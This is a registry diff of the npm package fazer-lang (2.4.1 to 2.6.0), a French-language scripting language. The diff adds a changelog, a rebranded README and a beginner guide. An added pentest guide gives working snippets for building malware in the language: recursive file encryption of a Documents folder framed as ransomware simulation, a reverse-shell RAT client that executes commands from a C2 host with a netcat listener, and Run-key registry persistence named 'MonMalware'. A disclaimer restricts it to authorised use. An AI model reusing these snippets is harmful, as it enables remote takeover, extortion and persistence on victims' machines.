fazer-lang 2.4.1 → 2.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md ADDED
@@ -0,0 +1,27 @@
1
+ # Changelog
2
+
3
+ All notable changes to this project will be documented in this file.
4
+
5
+ ## [2.6.0] - 2026-01-22
6
+
7
+ ### Added
8
+ - **Native EXE Compilation**: Use `fazer build script.fz` to create standalone Windows executables.
9
+ - **Icon Support**: Add custom `.ico` files to your GUI applications via `window(..., "icon.ico")`.
10
+ - **TypeScript Support**: Added `index.d.ts` for type definitions.
11
+ - **Enhanced Stdlib**: Improvements to `exec` (better error handling) and `netsh` interaction support.
12
+ - **Security**: Added more robust error handling for system commands requiring administrative privileges.
13
+
14
+ ### Fixed
15
+ - Fixed issues with `netsh` command execution in certain environments.
16
+ - Improved error messages for "immutable variable" violations in `catch` blocks.
17
+ - Stability improvements in the interpreter loop.
18
+
19
+ ## [2.5.0] - 2025-12-15
20
+
21
+ ### Added
22
+ - Initial support for Discord integration.
23
+ - `notify` module for system notifications.
24
+ - `clipboard` module.
25
+
26
+ ### Changed
27
+ - Refactored `http_server` for better performance.
package/LICENSE CHANGED
@@ -1,6 +1,6 @@
1
1
  MIT License
2
2
 
3
- Copyright (c) 2024 Fazer Corp
3
+ Copyright (c) 2026 L'EMPRISE
4
4
 
5
5
  Permission is hereby granted, free of charge, to any person obtaining a copy
6
6
  of this software and associated documentation files (the "Software"), to deal
package/README.md CHANGED
@@ -1,63 +1,63 @@
1
- # Fazer
2
-
3
- **Fazer** — Le langage de script nouvelle génération par **L'EMPRISE**.
4
-
5
- Conçu pour l'automatisation, la sécurité et le traitement de données, Fazer combine une syntaxe concise avec une bibliothèque standard "batteries included".
6
-
7
- ## Installation
8
-
9
- Installez Fazer globalement via npm :
10
-
11
- ```bash
12
- npm install -g fazer-lang
13
- ```
14
-
15
- ## Utilisation Rapide
16
-
17
- Lancer le REPL (mode interactif) :
18
- ```bash
19
- fazer
20
- ```
21
-
22
- Exécuter un script :
23
- ```bash
24
- fazer mon_script.fz
25
- ```
26
-
27
- ## Création d'Exécutable (.exe)
28
-
29
- Transformez vos scripts Fazer en applications Windows portables et natives :
30
-
31
- 1. (Optionnel) Placez une icône `app.ico` dans le dossier.
32
- 2. Lancez la commande de build :
33
- ```bash
34
- fazer build mon_script.fz
35
- ```
36
- 3. Récupérez votre application dans `dist/mon_script/mon_script.exe`.
37
-
38
- Le dossier généré est **portable** : zippez-le et envoyez-le à n'importe qui, aucune installation n'est requise !
39
-
40
- ## Documentation
41
-
42
- La documentation complète est disponible dans le dossier [`docs/`](https://github.com/viced-1920/fazer-lang/blob/master/docs/README.md).
43
-
44
- * [Guide de Démarrage](https://github.com/viced-1920/fazer-lang/blob/master/docs/getting-started.md)
45
- * [Syntaxe du Langage](https://github.com/viced-1920/fazer-lang/blob/master/docs/syntax.md)
46
- * [Bibliothèque Standard (Stdlib)](https://github.com/viced-1920/fazer-lang/blob/master/docs/stdlib.md)
47
- * [Exemples](https://github.com/viced-1920/fazer-lang/blob/master/docs/examples.md)
48
-
49
- ## Fonctionnalités Clés
50
-
51
- * **GUI Native** : Créez de vraies applications Windows (WinForms) avec widgets natifs (`window`, `button`, `entry`, etc.).
52
- * **Pipe Operator (`->>`)** : Enchaînez les opérations proprement.
53
- * **Pattern Matching (`case`)** : Contrôle de flux expressif.
54
- * **Sécurité Intégrée** : Chiffrement AES-256-GCM et SHA256 natifs.
55
- * **Réseau & Web** : Client HTTP `fetch`, serveur web `server`, et module `discord`.
56
- * **Système de Fichiers** : Manipulation simple et puissante.
57
- * **Automation** : Gestion du presse-papier (`clipboard`), notifications (`notify`), et persistance (`db`).
58
- * **Extensible** : Système de modules `import`.
59
-
60
- ## Copyright
61
-
62
- © 2026 **L'EMPRISE**. Tous droits réservés.
63
- Distribué sous licence MIT.
1
+ # Fazer
2
+
3
+ **Fazer** — Le langage de script nouvelle génération par **L'EMPRISE**.
4
+
5
+ Conçu pour l'automatisation, la sécurité et le traitement de données, Fazer combine une syntaxe concise avec une bibliothèque standard "batteries included".
6
+
7
+ ## Installation
8
+
9
+ Installez Fazer globalement via npm :
10
+
11
+ ```bash
12
+ npm install -g fazer-lang
13
+ ```
14
+
15
+ ## Utilisation Rapide
16
+
17
+ Lancer le REPL (mode interactif) :
18
+ ```bash
19
+ fazer
20
+ ```
21
+
22
+ Exécuter un script :
23
+ ```bash
24
+ fazer mon_script.fz
25
+ ```
26
+
27
+ ## Création d'Exécutable (.exe)
28
+
29
+ Transformez vos scripts Fazer en applications Windows portables et natives :
30
+
31
+ 1. (Optionnel) Placez une icône `app.ico` dans le dossier.
32
+ 2. Lancez la commande de build :
33
+ ```bash
34
+ fazer build mon_script.fz
35
+ ```
36
+ 3. Récupérez votre application dans `dist/mon_script/mon_script.exe`.
37
+
38
+ Le dossier généré est **portable** : zippez-le et envoyez-le à n'importe qui, aucune installation n'est requise !
39
+
40
+ ## Documentation
41
+
42
+ 🎓 **[NOUVEAU : Le Guide Ultime (A-Z)](https://github.com/viced-1920/fazer-lang/blob/main/docs/GUIDE.md)** - Commencez ici ! C'est la ressource la plus complète pour apprendre Fazer.
43
+
44
+ Documentation détaillée par section :
45
+ * [Guide de Démarrage](https://github.com/viced-1920/fazer-lang/blob/main/docs/getting-started.md)
46
+ * [Syntaxe du Langage](https://github.com/viced-1920/fazer-lang/blob/main/docs/syntax.md)
47
+ * [Bibliothèque Standard (Stdlib)](https://github.com/viced-1920/fazer-lang/blob/main/docs/stdlib.md)
48
+ * [Exemples](https://github.com/viced-1920/fazer-lang/blob/main/docs/examples.md)
49
+
50
+ ## Fonctionnalités Clés
51
+
52
+ * **GUI Native** : Créez de vraies applications Windows (WinForms) avec widgets natifs.
53
+ * **Red Team Ready** : Module de sécurité offensive natif (Crypto, Registre, Reverse Shell, Scan).
54
+ * **Pipe Operator (`->>`)** : Enchaînez les opérations proprement.
55
+ * **Pattern Matching (`case`)** : Contrôle de flux expressif.
56
+ * **Portable** : Compilation en `.exe` natif avec support d'icônes.
57
+ * **Réseau & Web** : Client HTTP `fetch`, serveur web `server`, et module `discord`.
58
+ * **Système** : Manipulation fichiers, processus et presse-papier.
59
+
60
+ ## Copyright
61
+
62
+ © 2026 **L'EMPRISE**. Tous droits réservés.
63
+ Distribué sous licence MIT.
package/docs/GUIDE.md ADDED
@@ -0,0 +1,249 @@
1
+ # Le Guide Ultime de Fazer (A-Z) - Édition 2.5
2
+
3
+ Bienvenue dans l'univers de **Fazer**. Ce guide a été conçu pour vous accompagner de vos premières lignes de code jusqu'à la maîtrise des fonctionnalités les plus avancées (Pentest, GUI, Réseau).
4
+
5
+ Que vous soyez un débutant complet ou un développeur expérimenté, ce manuel est votre référence.
6
+
7
+ ---
8
+
9
+ ## 📚 Table des Matières
10
+
11
+ 1. [Module 1 : Premiers Pas & Installation](#module-1--premiers-pas--installation)
12
+ 2. [Module 2 : Les Bases du Langage](#module-2--les-bases-du-langage)
13
+ 3. [Module 3 : Contrôle du Flux (Logique)](#module-3--contrôle-du-flux-logique)
14
+ 4. [Module 4 : Fonctions & Organisation](#module-4--fonctions--organisation)
15
+ 5. [Module 5 : Manipulation de Fichiers & Système](#module-5--manipulation-de-fichiers--système)
16
+ 6. [Module 6 : Interfaces Graphiques (GUI)](#module-6--interfaces-graphiques-gui)
17
+ 7. [Module 7 : Réseau & Web](#module-7--réseau--web)
18
+ 8. [Module 8 : Cybersécurité & Red Team](#module-8--cybersécurité--red-team)
19
+ 9. [Annexe : Compiler en .EXE](#annexe--compiler-en-exe)
20
+
21
+ ---
22
+
23
+ ## Module 1 : Premiers Pas & Installation
24
+
25
+ ### C'est quoi Fazer ?
26
+ Fazer est un langage de programmation moderne, simple et puissant. Il est "batteries included", ce qui signifie qu'il contient déjà tout ce qu'il faut pour créer des applications graphiques, des outils réseaux, ou des scripts d'automatisation sans rien installer d'autre.
27
+
28
+ ### Installation
29
+ 1. **Téléchargez** le dossier `fazer-lang`.
30
+ 2. **Exécutez** le script `install_system.ps1` (double-clic).
31
+ 3. C'est tout ! Ouvrez un terminal et tapez `fazer` pour vérifier.
32
+
33
+ ### Votre Premier Script ("Hello World")
34
+ Créez un fichier nommé `hello.fz` :
35
+
36
+ ```fazer
37
+ print("Bienvenue sur Fazer !")
38
+ ```
39
+
40
+ Lancez-le :
41
+ ```bash
42
+ fazer hello.fz
43
+ ```
44
+
45
+ ---
46
+
47
+ ## Module 2 : Les Bases du Langage
48
+
49
+ ### Variables
50
+ En Fazer, on utilise `:=` pour créer une variable.
51
+ * Par défaut, une variable ne peut pas changer (elle est **constante**).
52
+ * Si vous voulez la modifier, utilisez le mot-clé `mut`.
53
+
54
+ ```fazer
55
+ # Constante (ne bougera pas)
56
+ nom := "Fazer"
57
+
58
+ # Variable (peut changer)
59
+ mut score := 0
60
+ score := score + 10
61
+ print(score) # Affiche 10
62
+ ```
63
+
64
+ ### Types de Données
65
+ Fazer gère les types automatiquement :
66
+ * `"Texte"` (String)
67
+ * `42` ou `3.14` (Number)
68
+ * `true` / `false` (Boolean)
69
+ * `[1, 2, 3]` (List / Tableau)
70
+ * `{ "nom": "Jean", "age": 20 }` (Map / Objet)
71
+
72
+ ### L'Opérateur Pipe (`->>`)
73
+ C'est la signature de Fazer. Il permet de passer une valeur à la fonction suivante, comme un tuyau.
74
+
75
+ ```fazer
76
+ # Méthode classique
77
+ print(str_upper("bonjour"))
78
+
79
+ # Méthode Fazer (Pipe)
80
+ "bonjour" ->> str_upper ->> print
81
+ ```
82
+ *Lecture : Prends "bonjour", mets-le en majuscules, puis affiche-le.*
83
+
84
+ ---
85
+
86
+ ## Module 3 : Contrôle du Flux (Logique)
87
+
88
+ ### Les Conditions (`if`)
89
+ Fazer utilise des flèches `->` pour délimiter les blocs de code, et `end` pour finir.
90
+
91
+ ```fazer
92
+ age := 18
93
+
94
+ if age >= 18 ->
95
+ print("Majeur")
96
+ end
97
+ else ->
98
+ print("Mineur")
99
+ end
100
+ ```
101
+
102
+ ### Les Boucles (`while`)
103
+ Pour répéter une action tant qu'une condition est vraie.
104
+
105
+ ```fazer
106
+ mut i := 0
107
+
108
+ while i < 5 ->
109
+ print("Compteur : " + i)
110
+ i := i + 1
111
+ end
112
+ ```
113
+
114
+ ---
115
+
116
+ ## Module 4 : Fonctions & Organisation
117
+
118
+ ### Créer une Fonction
119
+ Une fonction est un bloc de code réutilisable.
120
+
121
+ ```fazer
122
+ fn dire_bonjour(nom) ->
123
+ msg := "Salut " + nom + " !"
124
+ return msg
125
+ end
126
+
127
+ res := dire_bonjour("Alice")
128
+ print(res)
129
+ ```
130
+
131
+ ### Fonctions Anonymes (Lambdas)
132
+ Très utiles pour les événements (GUI, Serveurs).
133
+
134
+ ```fazer
135
+ ma_fonction := fn(x) -> x * 2 end
136
+ print(ma_fonction(10)) # 20
137
+ ```
138
+
139
+ ---
140
+
141
+ ## Module 5 : Manipulation de Fichiers & Système
142
+
143
+ Fazer brille pour l'automatisation système.
144
+
145
+ ### Lire et Écrire
146
+ ```fazer
147
+ # Écrire
148
+ fs_write("test.txt", "Contenu du fichier")
149
+
150
+ # Lire
151
+ contenu := fs_read("test.txt")
152
+ print(contenu)
153
+
154
+ # Vérifier existence
155
+ if fs_exists("test.txt") -> print("Fichier trouvé !") end
156
+ ```
157
+
158
+ ### Parcourir des Dossiers (Nouveau 2.5)
159
+ ```fazer
160
+ fichiers := walk_dir(".") # Liste récursivement tout le dossier actuel
161
+ print("Fichiers trouvés : " + fichiers.length)
162
+ ```
163
+
164
+ ### Exécuter des Commandes Système
165
+ ```fazer
166
+ # Lance une commande et récupère la sortie
167
+ ip := exec("ipconfig")
168
+ print(ip)
169
+ ```
170
+
171
+ ---
172
+
173
+ ## Module 6 : Interfaces Graphiques (GUI)
174
+
175
+ Créez des fenêtres Windows natives en quelques lignes.
176
+
177
+ ```fazer
178
+ config := {
179
+ title: "Ma App Fazer",
180
+ w: 400, h: 300,
181
+ icon: "app.ico" # Support des icônes !
182
+ }
183
+
184
+ # Définition des widgets
185
+ widgets := [
186
+ { id: "lbl", type: "label", text: "Bienvenue !", x: 10, y: 10, w: 200, h: 30 },
187
+ { id: "btn", type: "button", text: "Cliquez-moi", x: 10, y: 50, w: 120, h: 40 }
188
+ ]
189
+
190
+ # Gestionnaire d'événements
191
+ fn handler(id, event, data) ->
192
+ if id == "btn" ->
193
+ notify("Succès", "Vous avez cliqué !")
194
+ end
195
+ end
196
+
197
+ # Lancer la fenêtre
198
+ window(config, widgets, handler)
199
+ ```
200
+
201
+ ---
202
+
203
+ ## Module 7 : Réseau & Web
204
+
205
+ ### Serveur Web Express
206
+ Créez un serveur HTTP en une ligne.
207
+
208
+ ```fazer
209
+ fn mon_site(req) ->
210
+ return "<h1>Site propulsé par Fazer</h1>"
211
+ end
212
+
213
+ # Écoute sur le port 8080
214
+ http_server(8080, mon_site)
215
+ ```
216
+
217
+ ### Client HTTP
218
+ ```fazer
219
+ page := fetch("https://google.com")
220
+ print(page.status)
221
+ ```
222
+
223
+ ---
224
+
225
+ ## Module 8 : Cybersécurité & Red Team
226
+
227
+ **Nouveauté 2.5** : Fazer intègre des outils natifs pour le Pentest et la simulation d'attaques (autorisées).
228
+
229
+ > ⚠️ **AVERTISSEMENT** : Usage éducatif et autorisé uniquement.
230
+
231
+ ### Fonctionnalités Clés
232
+ * **Chiffrement** : `encrypt_file("secret.txt", "clé")` (AES-256)
233
+ * **Registre Windows** : `registry_set`, `registry_get` (Persistance)
234
+ * **Reverse Shell** : `tcp_connect` (Client TCP brut)
235
+ * **Fond d'écran** : `set_wallpaper("hacked.jpg")`
236
+
237
+ *Pour un guide détaillé sur ces fonctions, consultez le fichier `PENTESTING.md`.*
238
+
239
+ ---
240
+
241
+ ## Annexe : Compiler en .EXE
242
+
243
+ Transformez n'importe quel script `.fz` en un exécutable Windows autonome `.exe` que vous pouvez partager.
244
+
245
+ ```bash
246
+ fazer build mon_script.fz
247
+ ```
248
+
249
+ L'exécutable sera généré dans le dossier `dist/`. Il contient tout le nécessaire pour fonctionner sans installer Fazer sur la machine cible.
@@ -0,0 +1,74 @@
1
+ # Guide de Développement Pentest & Red Team avec Fazer
2
+
3
+ > **AVERTISSEMENT** : Ce module est destiné à des fins éducatives et de test de sécurité autorisé uniquement. L'auteur décline toute responsabilité en cas d'utilisation malveillante.
4
+
5
+ Fazer intègre des fonctionnalités natives puissantes permettant de développer des outils de sécurité offensive (Red Team), de simulation de malware (Ransomware, RAT) et d'administration système avancée.
6
+
7
+ ## 1. Simulation de Ransomware (Crypto)
8
+
9
+ Fazer utilise le chiffrement **AES-256-CBC** pour sécuriser les fichiers.
10
+
11
+ ### API
12
+ * `encrypt_file(path, key)` : Chiffre un fichier. Génère un fichier `.enc` avec l'IV préfixé.
13
+ * `decrypt_file(path, key)` : Déchiffre un fichier `.enc`.
14
+ * `walk_dir(path)` : Liste récursivement tous les fichiers d'un dossier.
15
+
16
+ ### Exemple
17
+ ```fazer
18
+ key := "MA_CLE_SECURE_256_BITS"
19
+ files := walk_dir("C:\\Documents\\Confidentiel")
20
+
21
+ # Chiffrer tout
22
+ i := 0
23
+ while i < files.length ->
24
+ encrypt_file(files[i], key)
25
+ i := i + 1
26
+ end
27
+ ```
28
+
29
+ ## 2. Remote Access Trojan (RAT) / Reverse Shell
30
+
31
+ Vous pouvez créer des clients TCP capables de recevoir des commandes distantes et d'exécuter du code.
32
+
33
+ ### API
34
+ * `tcp_connect(host, port, handler)` : Se connecte à un serveur C2 (Command & Control).
35
+ * `handler` : Une fonction qui reçoit les données brutes (commandes).
36
+ * Retourne un objet client avec `.send(data)` et `.close()`.
37
+
38
+ ### Exemple (Client)
39
+ ```fazer
40
+ fn on_data(cmd) ->
41
+ # Exécuter la commande reçue dans le shell système
42
+ result := exec(cmd)
43
+ return result
44
+ end
45
+
46
+ client := tcp_connect("192.168.1.10", 4444, on_data)
47
+ client.send("Bot connecté !\n")
48
+ ```
49
+
50
+ Pour tester, lancez un listener Netcat sur votre machine attaquante : `nc -lvp 4444`.
51
+
52
+ ## 3. Persistance et Registre (Windows)
53
+
54
+ Manipulez le registre Windows pour assurer la persistance de vos outils au démarrage.
55
+
56
+ ### API
57
+ * `registry_get(key, name)` : Lit une valeur du registre.
58
+ * `registry_set(key, name, value)` : Écrit une valeur (String).
59
+
60
+ ### Exemple (Run Key)
61
+ ```fazer
62
+ key := "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
63
+ registry_set(key, "MonMalware", "C:\\Chemin\\vers\\app.exe")
64
+ ```
65
+
66
+ ## 4. Pranks & Divers
67
+
68
+ * `set_wallpaper(path)` : Change le fond d'écran (Windows uniquement).
69
+ * `screenshot(path)` : Prend une capture d'écran.
70
+
71
+ ```fazer
72
+ set_wallpaper("C:\\hacked.jpg")
73
+ screenshot("capture.png")
74
+ ```
package/docs/README.md CHANGED
@@ -1,26 +1,29 @@
1
- # Documentation Fazer
2
-
3
- Bienvenue dans la documentation officielle du langage **Fazer**.
4
-
5
- ## Table des Matières
6
-
7
- 1. **[Guide de Démarrage](./getting-started.md)**
8
- * Installation
9
- * Votre premier script
10
- * Mode interactif (REPL)
11
-
12
- 2. **[Syntaxe du Langage](./syntax.md)**
13
- * Variables et Types
14
- * Opérateur Pipe (`->>`)
15
- * Contrôle de Flux (`case`)
16
- * Fonctions
17
-
18
- 3. **[Bibliothèque Standard (Stdlib)](./stdlib.md)**
19
- * E/S Console (`println`, `ask`...)
20
- * Système de Fichiers (`readText`, `writeText`...)
21
- * Chiffrement (`encText`, `sha256`...)
22
- * Réseau & Web (`server`, `fetch`, `discord`...)
23
- * Utilitaires (`json`, `exec`...)
24
-
25
- 4. **[Exemples](./examples.md)**
26
- * Scripts complets pour apprendre par l'exemple.
1
+ # Documentation Fazer
2
+
3
+ Bienvenue dans la documentation officielle du langage **Fazer**.
4
+
5
+ ## Table des Matières
6
+
7
+ 0. **[NOUVEAU : Le Guide Ultime (A-Z)](./GUIDE.md)**
8
+ * Le point de départ idéal pour tout apprendre d'un coup.
9
+
10
+ 1. **[Guide de Démarrage](./getting-started.md)**
11
+ * Installation
12
+ * Votre premier script
13
+ * Mode interactif (REPL)
14
+
15
+ 2. **[Syntaxe du Langage](./syntax.md)**
16
+ * Variables et Types
17
+ * Opérateur Pipe (`->>`)
18
+ * Contrôle de Flux (`case`)
19
+ * Fonctions
20
+
21
+ 3. **[Bibliothèque Standard (Stdlib)](./stdlib.md)**
22
+ * E/S Console (`println`, `ask`...)
23
+ * Système de Fichiers (`readText`, `writeText`...)
24
+ * Chiffrement (`encText`, `sha256`...)
25
+ * Réseau & Web (`server`, `fetch`, `discord`...)
26
+ * Utilitaires (`json`, `exec`...)
27
+
28
+ 4. **[Exemples](./examples.md)**
29
+ * Scripts complets pour apprendre par l'exemple.
package/docs/examples.md CHANGED
@@ -1,60 +1,60 @@
1
- # Exemples Fazer
2
-
3
- ## 1. Hello World
4
-
5
- ```fazer
6
- "Hello World" ->> println
7
- ```
8
-
9
- ## 2. Demander le nom
10
-
11
- ```fazer
12
- "Quel est votre nom ? " ->> ask ->> println
13
- ```
14
-
15
- ## 3. Chiffrement de Fichier (Logique simplifiée)
16
-
17
- Ce script montre comment on pourrait structurer un outil de chiffrement.
18
-
19
- ```fazer
20
- fn main () {
21
- "1. Chiffrer" ->> println
22
- "2. Déchiffrer" ->> println
23
- "Choix : " ->> ask ->> case {
24
- "1" : {
25
- "Fichier à chiffrer : " ->> ask ->> enc_flow
26
- }
27
- "2" : {
28
- "Fichier à déchiffrer : " ->> ask ->> dec_flow
29
- }
30
- _ : {
31
- "Choix invalide" ->> println
32
- }
33
- }
34
- }
35
-
36
- fn enc_flow (path) {
37
- path ->> exists ->> case {
38
- true : {
39
- "Mot de passe : " ->> ask ->> pass
40
- path ->> readText ->> encText(pass) ->> saveText(path)
41
- "Fichier chiffré !" ->> println
42
- }
43
- _ : { "Fichier introuvable" ->> println }
44
- }
45
- }
46
-
47
- // Lancer le main
48
- main()
49
- ```
50
-
51
- ## 4. Serveur Web Simple
52
-
53
- ```fazer
54
- fn handle_request (req) {
55
- "<h1>Bienvenue sur Fazer Web</h1>" // Retourne le HTML
56
- }
57
-
58
- "Démarrage du serveur sur 8080..." ->> println
59
- 8080 ->> server("handle_request")
60
- ```
1
+ # Exemples Fazer
2
+
3
+ ## 1. Hello World
4
+
5
+ ```fazer
6
+ "Hello World" ->> println
7
+ ```
8
+
9
+ ## 2. Demander le nom
10
+
11
+ ```fazer
12
+ "Quel est votre nom ? " ->> ask ->> println
13
+ ```
14
+
15
+ ## 3. Chiffrement de Fichier (Logique simplifiée)
16
+
17
+ Ce script montre comment on pourrait structurer un outil de chiffrement.
18
+
19
+ ```fazer
20
+ fn main () {
21
+ "1. Chiffrer" ->> println
22
+ "2. Déchiffrer" ->> println
23
+ "Choix : " ->> ask ->> case {
24
+ "1" : {
25
+ "Fichier à chiffrer : " ->> ask ->> enc_flow
26
+ }
27
+ "2" : {
28
+ "Fichier à déchiffrer : " ->> ask ->> dec_flow
29
+ }
30
+ _ : {
31
+ "Choix invalide" ->> println
32
+ }
33
+ }
34
+ }
35
+
36
+ fn enc_flow (path) {
37
+ path ->> exists ->> case {
38
+ true : {
39
+ "Mot de passe : " ->> ask ->> pass
40
+ path ->> readText ->> encText(pass) ->> saveText(path)
41
+ "Fichier chiffré !" ->> println
42
+ }
43
+ _ : { "Fichier introuvable" ->> println }
44
+ }
45
+ }
46
+
47
+ // Lancer le main
48
+ main()
49
+ ```
50
+
51
+ ## 4. Serveur Web Simple
52
+
53
+ ```fazer
54
+ fn handle_request (req) {
55
+ "<h1>Bienvenue sur Fazer Web</h1>" // Retourne le HTML
56
+ }
57
+
58
+ "Démarrage du serveur sur 8080..." ->> println
59
+ 8080 ->> server("handle_request")
60
+ ```